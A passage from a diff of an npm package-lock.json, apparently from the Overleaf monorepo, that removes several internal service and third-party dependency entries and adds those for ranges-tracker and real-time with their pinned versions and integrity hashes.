+- "integrity": "sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw=="
+- },
+- "argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "requires": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "requires": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- }
+- },
+- "tslib": {
+- "version": "1.14.1",
+- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+- "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
+- },
+- "ws": {
+- "version": "6.2.2",
+- "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz",
+- "integrity": "sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==",
+- "requires": {
+- "async-limiter": "~1.0.0"
+- }
+- }
+- }
+- },
+ "@lezer/common": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.0.1.tgz",
+@@ -39606,45 +32238,6 @@
+ }
+ }
+ },
+- "@maxmind/geoip2-node": {
+- "version": "3.4.0",
+- "resolved": "https://registry.npmjs.org/@maxmind/geoip2-node/-/geoip2-node-3.4.0.tgz",
+- "integrity": "sha512-XBB+IJSXQRXXHBvwULZu2nOYAPuC0pc77xw/xkDo0cWkBO/L2rUMr+xKGZwj47mFBEiG6tnTMBzxJajEJTrKAg==",
+- "requires": {
+- "camelcase-keys": "^7.0.0",
+- "ip6addr": "^0.2.5",
+- "lodash.set": "^4.3.2",
+- "maxmind": "^4.2.0"
+- },
+- "dependencies": {
+- "camelcase-keys": {
+- "version": "7.0.2",
+- "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-7.0.2.tgz",
+- "integrity": "sha512-Rjs1H+A9R+Ig+4E/9oyB66UC5Mj9Xq3N//vcLf2WzgdTi/3gUu3Z9KoqmlrEG4VuuLK8wJHofxzdQXz/knhiYg==",
+- "requires": {
+- "camelcase": "^6.3.0",
+- "map-obj": "^4.1.0",
+- "quick-lru": "^5.1.1",
+- "type-fest": "^1.2.1"
+- }
+- },
+- "map-obj": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz",
+- "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ=="
+- },
+- "quick-lru": {
+- "version": "5.1.1",
+- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+- "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA=="
+- },
+- "type-fest": {
+- "version": "1.4.0",
+- "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+- "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA=="
+- }
+- }
+- },
+ "@nicolo-ribaudo/chokidar-2": {
+ "version": "2.1.8-no-fsevents.3",
+ "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.3.tgz",
+@@ -39695,66 +32288,6 @@
+ "fastq": "^1.6.0"
+ }
+ },
+- "@octokit/endpoint": {
+- "version": "6.0.12",
+- "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.12.tgz",
+- "integrity": "sha512-lF3puPwkQWGfkMClXb4k/eUT/nZKQfxinRWJrdZaJO85Dqwo/G0yOC434Jr2ojwafWJMYqFGFa5ms4jJUgujdA==",
+- "requires": {
+- "@octokit/types": "^6.0.3",
+- "is-plain-object": "^5.0.0",
+- "universal-user-agent": "^6.0.0"
+- },
+- "dependencies": {
+- "is-plain-object": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q=="
+- }
+- }
+- },
+- "@octokit/openapi-types": {
+- "version": "11.2.0",
+- "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-11.2.0.tgz",
+- "integrity": "sha512-PBsVO+15KSlGmiI8QAzaqvsNlZlrDlyAJYcrXBCvVUxCp7VnXjkwPoFHgjEJXx3WF9BAwkA6nfCUA7i9sODzKA=="
+- },
+- "@octokit/request": {
+- "version": "5.6.3",
+- "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.6.3.tgz",
+- "integrity": "sha512-bFJl0I1KVc9jYTe9tdGGpAMPy32dLBXXo1dS/YwSCTL/2nd9XeHsY616RE3HPXDVk+a+dBuzyz5YdlXwcDTr2A==",
+- "requires": {
+- "@octokit/endpoint": "^6.0.1",
+- "@octokit/request-error": "^2.1.0",
+- "@octokit/types": "^6.16.1",
+- "is-plain-object": "^5.0.0",
+- "node-fetch": "^2.6.7",
+- "universal-user-agent": "^6.0.0"
+- },
+- "dependencies": {
+- "is-plain-object": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q=="
+- }
+- }
+- },
+- "@octokit/request-error": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.1.0.tgz",
+- "integrity": "sha512-1VIvgXxs9WHSjicsRwq8PlR2LR2x6DwsJAaFgzdi0JfJoGSO8mYI/cHJQ+9FbN21aa+DrgNLnwObmyeSC8Rmpg==",
+- "requires": {
+- "@octokit/types": "^6.0.3",
+- "deprecation": "^2.0.0",
+- "once": "^1.4.0"
+- }
+- },
+- "@octokit/types": {
+- "version": "6.34.0",
+- "resolved": "https://registry.npmjs.org/@octokit/types/-/types-6.34.0.tgz",
+- "integrity": "sha512-s1zLBjWhdEI2zwaoSgyOFoKSl109CUcVBCc7biPJ3aAf6LGLU6szDvi31JPU7bxfla2lqfhjbbg/5DdFNxOwHw==",
+- "requires": {
+- "@octokit/openapi-types": "^11.2.0"
+- }
+- },
+ "@opencensus/core": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/@opencensus/core/-/core-0.1.0.tgz",
+@@ -39866,73 +32399,6 @@
+ "sinon": "^9.2.4"
+ }
+ },
+- "@overleaf/analytics": {
+- "version": "file:services/analytics",
+- "requires": {
+- "@google-cloud/bigquery": "^5.9.0",
+- "@google-cloud/storage": "^4.6.0",
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/redis-wrapper": "^2.0.0",
+- "@overleaf/settings": "^3.0.0",
+- "@pollyjs/adapter-node-http": "^4.0.3",
+- "@pollyjs/core": "^4.0.2",
+- "@pollyjs/persister-fs": "^4.0.2",
+- "axios": "^0.21.1",
+- "bluebird": "^3.7.2",
+- "body-parser": "^1.19.0",
+- "bull": "^3.18.0",
+- "bunyan": "^1.8.15",
+- "camelcase-keys": "^4.2.0",
+- "celebrate": "^12.1.1",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "csv": "^5.4.0",
+- "csv-parser": "^3.0.0",
+- "express": "^4.17.1",
+- "good-bunyan": "^3.0.1",
+- "joi": "^17.2.1",
+- "json2csv": "^4.5.4",
+- "lodash": "^4.17.21",
+- "lolex": "^6.0.0",
+- "minimist": "^1.2.6",
+- "mixpanel": "^0.13.0",
+- "mocha": "^8.4.0",
+- "moment": "^2.29.4",
+- "mongodb": "^3.6.6",
+- "p-limit": "^2.3.0",
+- "pg": "^8.7.1",
+- "pg-copy-streams": "^2.2.2",
+- "promptly": "^3.0.3",
+- "recurly": "^4.0.1",
+- "redis-mock": "^0.49.0",
+- "request": "^2.88.2",
+- "sandboxed-module": "^2.0.4",
+- "sequelize": "^5.21.5",
+- "sequelize-cli": "^5.5.1",
+- "sinon": "^9.2.4",
+- "sinon-chai": "^3.7.0",
+- "stream-buffers": "^3.0.2",
+- "underscore": "^1.9.2",
+- "yargs": "^17.0.0"
+- },
+- "dependencies": {
+- "minimist": {
+- "version": "1.2.6",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz",
+- "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q=="
+- },
+- "p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "requires": {
+- "p-try": "^2.0.0"
+- }
+- }
+- }
+- },
+ "@overleaf/chat": {
+ "version": "file:services/chat",
+ "requires": {
+@@ -40199,32 +32665,6 @@
+ }
+ }
+ },
+- "@overleaf/clsi-perf": {
+- "version": "file:services/clsi-perf",
+- "requires": {
+- "@google-cloud/bigquery": "^5.6.0",
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/settings": "^3.0.0",
+- "bunyan": "^1.8.15",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "cookie": "^0.4.1",
+- "express": "^4.17.1",
+- "glob": "^7.2.0",
+- "mocha": "^8.4.0",
+- "node-fetch": "^2.6.7",
+- "p-limit": "^3.1.0"
+- },
+- "dependencies": {
+- "cookie": {
+- "version": "0.4.1",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.1.tgz",
+- "integrity": "sha512-ZwrFkGJxUR3EIoXtO+yVE69Eb7KlixbaeAWfBQB9vVsNn/o+Yw69gBWSSDK825hQNdN+wF8zELf3dFNl/kxkUA=="
+- }
+- }
+- },
+ "@overleaf/contacts": {
+ "version": "file:services/contacts",
+ "requires": {
+@@ -40773,148 +33213,6 @@
+ }
+ }
+ },
+- "@overleaf/github-sync": {
+- "version": "file:services/github-sync",
+- "requires": {
+- "@octokit/request": "^5.6.3",
+- "@overleaf/access-token-encryptor": "^2.2.0",
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/settings": "^3.0.0",
+- "async": "^3.2.2",
+- "base64-stream": "^0.1.2",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.15",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "express": "^4.17.1",
+- "lodash.once": "^4.1.1",
+- "mocha": "^8.4.0",
+- "mongodb": "^3.6.0",
+- "octonode": "^0.9.5",
+- "p-limit": "^2.2.0",
+- "randomstring": "^1.1.5",
+- "request": "^2.88.2",
+- "sandboxed-module": "^2.0.4",
+- "sinon": "^9.2.4",
+- "timekeeper": "2.2.0"
+- },
+- "dependencies": {
+- "p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "requires": {
+- "p-try": "^2.0.0"
+- }
+- }
+- }
+- },
+- "@overleaf/idp": {
+- "version": "file:services/idp",
+- "requires": {
+- "express": "^4.17.1",
+- "samlp": "^6.0.1"
+- },
+- "dependencies": {
+- "async": {
+- "version": "0.2.10",
+- "resolved": "https://registry.npmjs.org/async/-/async-0.2.10.tgz",
+- "integrity": "sha512-eAkdoKxU6/LkKDBzLpT+t6Ff5EtfSF4wx1WfJiPEEV7WNLnDaRXk0oVysiEPm262roaachGexwUv94WhSgN5TQ=="
+- },
+- "moment": {
+- "version": "2.19.3",
+- "resolved": "https://registry.npmjs.org/moment/-/moment-2.19.3.tgz",
+- "integrity": "sha1-vbmdJw1tf9p4zA+6zoVeJ/59pp8="
+- },
+- "node-forge": {
+- "version": "0.10.0",
+- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz",
+- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA=="
+- },
+- "saml": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/saml/-/saml-1.0.1.tgz",
+- "integrity": "sha512-BzzlTdXNICrIGhJkq168n0WJpwXYr3xyMd7UHC7/s8F4M6zHSEItwEuKGmm6HjsttZk/hJcrw7fY0OZ9wE+v7Q==",
+- "requires": {
+- "@xmldom/xmldom": "^0.7.4",
+- "async": "~0.2.9",
+- "moment": "2.19.3",
+- "valid-url": "~1.0.9",
+- "xml-crypto": "^2.1.3",
+- "xml-encryption": "^1.2.1",
+- "xml-name-validator": "~2.0.1",
+- "xpath": "0.0.5"
+- }
+- },
+- "samlp": {
+- "version": "6.0.2",
+- "resolved": "https://registry.npmjs.org/samlp/-/samlp-6.0.2.tgz",
+- "integrity": "sha512-LeEgzxBRRasDk4EOiGZgIa4ytvHNnYDMI9Wp2tGh+v7fi3bjZYG1ufJK3YWGDTb5HFG8Y7ybpYzw/o2tThBgLQ==",
+- "requires": {
+- "@auth0/thumbprint": "0.0.6",
+- "@auth0/xmldom": "0.1.21",
+- "auth0-id-generator": "^0.2.0",
+- "ejs": "2.5.5",
+- "flowstate": "^0.4.0",
+- "querystring": "^0.2.0",
+- "saml": "^1.0.0",
+- "xml-crypto": "^2.0.0",
+- "xpath": "0.0.5",
+- "xtend": "^1.0.3"
+- }
+- },
+- "xml-encryption": {
+- "version": "1.3.0",
+- "resolved": "https://registry.npmjs.org/xml-encryption/-/xml-encryption-1.3.0.tgz",
+- "integrity": "sha512-3P8C4egMMxSR1BmsRM+fG16a3WzOuUEQKS2U4c3AZ5v7OseIfdUeVkD8dwxIhuLryFZSRWUL5OP6oqkgU7hguA==",
+- "requires": {
+- "@xmldom/xmldom": "^0.7.0",
+- "escape-html": "^1.0.3",
+- "node-forge": "^0.10.0",
+- "xpath": "0.0.32"
+- },
+- "dependencies": {
+- "xpath": {
+- "version": "0.0.32",
+- "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.32.tgz",
+- "integrity": "sha512-rxMJhSIoiO8vXcWvSifKqhvV96GjiD5wYb8/QHdoRyQvraTpp4IEv944nhGausZZ3u7dhQXteZuZbaqfpB7uYw=="
+- }
+- }
+- },
+- "xml-name-validator": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-2.0.1.tgz",
+- "integrity": "sha1-TYuPHszTQZqjYgYb7O9RXh5VljU="
+- },
+- "xtend": {
+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/xtend/-/xtend-1.0.3.tgz",
+- "integrity": "sha1-P12Tc1PM7Y4IU5mlY/2yJUHClgo="
+- }
+- }
+- },
+- "@overleaf/k8s-debugger": {
+- "version": "file:services/k8s-debugger",
+- "requires": {
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/redis-wrapper": "^2.1.0",
+- "@overleaf/settings": "^3.0.0",
+- "aws-sdk": "^2.556.0",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "democracy": "^3.1.3",
+- "express": "^4.11.0",
+- "kubernetes-client": "^8.3.4",
+- "mocha": "^8.4.0",
+- "mongodb": "^3.7.3",
+- "node-fetch": "^2.6.7",
+- "uuid": "^3.3.3"
+- }
+- },
+ "@overleaf/logger": {
+ "version": "file:libraries/logger",
+ "requires": {
+@@ -41271,123 +33569,250 @@
+ }
+ }
+ },
+- "@overleaf/project-archiver": {
+- "version": "file:services/project-archiver",
++ "@overleaf/ranges-tracker": {
++ "version": "file:libraries/ranges-tracker",
+ "requires": {
+- "@google-cloud/storage": "~5.7.2",
++ "mocha": "^10.0.0"
++ },
++ "dependencies": {
++ "brace-expansion": {
++ "version": "2.0.1",
++ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
++ "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
++ "dev": true,
++ "requires": {
++ "balanced-match": "^1.0.0"
++ }
++ },
++ "debug": {
++ "version": "4.3.4",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
++ "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
++ "dev": true,
++ "requires": {
++ "ms": "2.1.2"
++ },
++ "dependencies": {
++ "ms": {
++ "version": "2.1.2",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
++ "dev": true
++ }
++ }
++ },
++ "minimatch": {
++ "version": "5.0.1",
++ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.0.1.tgz",
++ "integrity": "sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==",
++ "dev": true,
++ "requires": {
++ "brace-expansion": "^2.0.1"
++ }
++ },
++ "mocha": {
++ "version": "10.0.0",
++ "resolved": "https://registry.npmjs.org/mocha/-/mocha-10.0.0.tgz",
++ "integrity": "sha512-0Wl+elVUD43Y0BqPZBzZt8Tnkw9CMUdNYnUsTfOM1vuhJVZL+kiesFYsqwBkEEuEixaiPe5ZQdqDgX2jddhmoA==",
++ "dev": true,
++ "requires": {
++ "@ungap/promise-all-settled": "1.1.2",
++ "ansi-colors": "4.1.1",
++ "browser-stdout": "1.3.1",
++ "chokidar": "3.5.3",
++ "debug": "4.3.4",
++ "diff": "5.0.0",
++ "escape-string-regexp": "4.0.0",
++ "find-up": "5.0.0",
++ "glob": "7.2.0",
++ "he": "1.2.0",
++ "js-yaml": "4.1.0",
++ "log-symbols": "4.1.0",
++ "minimatch": "5.0.1",
++ "ms": "2.1.3",
++ "nanoid": "3.3.3",
++ "serialize-javascript": "6.0.0",
++ "strip-json-comments": "3.1.1",
++ "supports-color": "8.1.1",
++ "workerpool": "6.2.1",
++ "yargs": "16.2.0",
++ "yargs-parser": "20.2.4",
++ "yargs-unparser": "2.0.0"
++ }
++ },
++ "nanoid": {
++ "version": "3.3.3",
++ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.3.tgz",
++ "integrity": "sha512-p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w==",
++ "dev": true
++ },
++ "workerpool": {
++ "version": "6.2.1",
++ "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.2.1.tgz",
++ "integrity": "sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw==",
++ "dev": true
++ },
++ "yargs": {
++ "version": "16.2.0",
++ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
++ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
++ "dev": true,
++ "requires": {
++ "cliui": "^7.0.2",
++ "escalade": "^3.1.1",
++ "get-caller-file": "^2.0.5",
++ "require-directory": "^2.1.1",
++ "string-width": "^4.2.0",
++ "y18n": "^5.0.5",
++ "yargs-parser": "^20.2.2"
++ }
++ }
++ }
++ },
++ "@overleaf/real-time": {
++ "version": "file:services/real-time",
++ "requires": {
++ "@hapi/joi": "^17.1.1",
+ "@overleaf/logger": "^3.1.0",
+ "@overleaf/metrics": "^4.0.0",
++ "@overleaf/o-error": "^3.4.0",
++ "@overleaf/redis-wrapper": "^2.0.0",
+ "@overleaf/settings": "^3.0.0",
+- "archiver": "^5.3.0",
+ "async": "^3.2.2",
++ "base64id": "0.1.0",
+ "body-parser": "^1.19.0",
+ "bunyan": "^1.8.15",
+ "chai": "^4.3.6",
+ "chai-as-promised": "^7.1.1",
++ "connect-redis": "^2.1.0",
++ "cookie-parser": "^1.4.5",
++ "cookie-signature": "^1.1.0",
+ "express": "^4.17.1",
+- "knox": "~0.9.2",
+- "lodash": "^4.17.21",
++ "express-session": "^1.17.1",
+ "mocha": "^8.4.0",
++ "proxy-addr": "^2.0.7",
+ "request": "^2.88.2",
+- "sandboxed-module": "~2.0.3",
+- "sinon": "9.0.1"
++ "sandboxed-module": "~0.3.0",
++ "sinon": "^9.2.4",
++ "socket.io": "overleaf/socket.io#0.9.19-overleaf-6",
++ "socket.io-client": "overleaf/socket.io-client#0.9.17-overleaf-3",
++ "timekeeper": "0.0.4",
++ "uid-safe": "^2.1.5",
++ "underscore": "1.13.1"
+ },
+ "dependencies": {
+- "@google-cloud/storage": {
+- "version": "5.7.4",
+- "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-5.7.4.tgz",
+- "integrity": "sha512-fynB3kDT+lhx71laML+LtUs/w9Ezcf+SVAsaP0fhAyPQzOc0kp43uYTymYCvF9GffYR7jcy6yqYifeMSU9VEVA==",
+- "requires": {
+- "@google-cloud/common": "^3.5.0",
+- "@google-cloud/paginator": "^3.0.0",
+- "@google-cloud/promisify": "^2.0.0",
+- "arrify": "^2.0.0",
+- "async-retry": "^1.3.1",
+- "compressible": "^2.0.12",
+- "date-and-time": "^0.14.2",
+- "duplexify": "^4.0.0",
+- "extend": "^3.0.2",
+- "gaxios": "^4.0.0",
+- "gcs-resumable-upload": "^3.1.0",
+- "get-stream": "^6.0.0",
+- "hash-stream-validation": "^0.2.2",
+- "mime": "^2.2.0",
+- "mime-types": "^2.0.8",
+- "onetime": "^5.1.0",
+- "p-limit": "^3.0.1",
+- "pumpify": "^2.0.0",
+- "snakeize": "^0.1.0",
+- "stream-events": "^1.0.1",
+- "xdg-basedir": "^4.0.0"
+- }
+- },
+- "date-and-time": {
+- "version": "0.14.2",
+- "resolved": "https://registry.npmjs.org/date-and-time/-/date-and-time-0.14.2.tgz",
+- "integrity": "sha512-EFTCh9zRSEpGPmJaexg7HTuzZHh6cnJj1ui7IGCFNXzd2QdpsNh05Db5TF3xzJm30YN+A8/6xHSuRcQqoc3kFA=="
++ "commander": {
++ "version": "2.1.0",
++ "resolved": "https://registry.npmjs.org/commander/-/commander-2.1.0.tgz",
++ "integrity": "sha512-J2wnb6TKniXNOtoHS8TSrG9IOQluPrsmyAJ8oCUJOBmv+uLBCyPYAZkD2jFvw2DCzIXNnISIM01NIvr35TkBMQ=="
+ },
+- "diff": {
+- "version": "4.0.2",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
+- "dev": true
++ "nan": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/nan/-/nan-1.0.0.tgz",
++ "integrity": "sha512-Wm2/nFOm2y9HtJfgOLnctGbfvF23FcQZeyUZqDD8JQG3zO5kXh3MkQKiUaA68mJiVWrOzLFkAV1u6bC8P52DJA=="
+ },
+- "duplexify": {
+- "version": "4.1.2",
+- "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.2.tgz",
+- "integrity": "sha512-fz3OjcNCHmRP12MJoZMPglx8m4rrFP8rovnk4vT8Fs+aonZoCwGg10dSsQsfP/E62eZcPTMSMP6686fu9Qlqtw==",
++ "sandboxed-module": {
++ "version": "0.3.0",
++ "resolved": "https://registry.npmjs.org/sandboxed-module/-/sandboxed-module-0.3.0.tgz",
++ "integrity": "sha1-8fvvvYCaT2kHO9B8rm/H2y6vX2o=",
++ "dev": true,
+ "requires": {
+- "end-of-stream": "^1.4.1",
+- "inherits": "^2.0.3",
+- "readable-stream": "^3.1.1",
+- "stream-shift": "^1.0.0"
++ "require-like": "0.1.2",
++ "stack-trace": "0.0.6"
+ }
+ },
+- "gaxios": {
+- "version": "4.3.2",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-4.3.2.tgz",
+- "integrity": "sha512-T+ap6GM6UZ0c4E6yb1y/hy2UB6hTrqhglp3XfmU9qbLCGRYhLVV5aRPpC4EmoG8N8zOnkYCgoBz+ScvGAARY6Q==",
++ "socket.io-client": {
++ "version": "git+ssh://git@github.com/overleaf/socket.io-client.git#60e7aa96978e890dcfc244071de0284e9174e125",
++ "from": "socket.io-client@overleaf/socket.io-client#0.9.17-overleaf-3",
+ "requires": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.6.1"
++ "active-x-obfuscator": "0.0.1",
++ "uglify-js": "1.2.5",
++ "ws": "0.4.x",
++ "xmlhttprequest": "1.4.2"
+ }
+ },
+- "get-stream": {
+- "version": "6.0.1",
+- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz",
+- "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg=="
++ "stack-trace": {
++ "version": "0.0.6",
++ "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.6.tgz",
++ "integrity": "sha1-HnGb1qJin/CcGJ4Xqe+QKpT8XbA=",
++ "dev": true
+ },
+- "sinon": {
+- "version": "9.0.1",
+- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.1.tgz",
+- "integrity": "sha512-iTTyiQo5T94jrOx7X7QLBZyucUJ2WvL9J13+96HMfm2CGoJYbIPqRfl6wgNcqmzk0DI28jeGx5bUTXizkrqBmg==",
+- "dev": true,
+- "requires": {
+- "@sinonjs/commons": "^1.7.0",
+- "@sinonjs/fake-timers": "^6.0.0",
+- "@sinonjs/formatio": "^5.0.1",
+- "@sinonjs/samsam": "^5.0.3",
+- "diff": "^4.0.2",
+- "nise": "^4.0.1",
+- "supports-color": "^7.1.0"
+- }
++ "timekeeper": {
++ "version": "0.0.4",
++ "resolved": "https://registry.npmjs.org/timekeeper/-/timekeeper-0.0.4.tgz",
++ "integrity": "sha1-kNt58X2Ni1NiFUOJSSuXJ2LP0nY=",
++ "dev": true
+ },
+- "supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+- "dev": true,
++ "uglify-js": {
++ "version": "1.2.5",
++ "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-1.2.5.tgz",
++ "integrity": "sha512-Ps1oQryKOcRDYuAN1tGpPWd/DIRMcdLz4p7JMxLjJiFvp+aaG01IEu0ZSoVvYUSxIkvW7k2X50BCW2InguEGlg=="
++ },
++ "underscore": {
++ "version": "1.13.1",
++ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz",
++ "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g=="
++ },
++ "ws": {
++ "version": "0.4.32",
++ "resolved": "https://registry.npmjs.org/ws/-/ws-0.4.32.tgz",
++ "integrity": "sha512-htqsS0U9Z9lb3ITjidQkRvkLdVhQePrMeu475yEfOWkAYvJ6dSjQp1tOH6ugaddzX5b7sQjMPNtY71eTzrV/kA==",
+ "requires": {
+- "has-flag": "^4.0.0"
++ "commander": "~2.1.0",
++ "nan": "~1.0.0",
